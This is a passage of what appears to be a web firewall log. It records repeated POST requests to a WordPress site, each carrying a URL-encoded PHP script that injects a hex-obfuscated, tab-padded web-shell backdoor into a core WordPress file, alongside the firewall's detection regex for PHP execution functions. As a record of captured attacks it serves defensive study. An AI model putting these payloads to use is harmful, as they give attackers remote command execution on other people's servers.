3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:38","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6944\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nqn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:41","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6944\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nhb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%2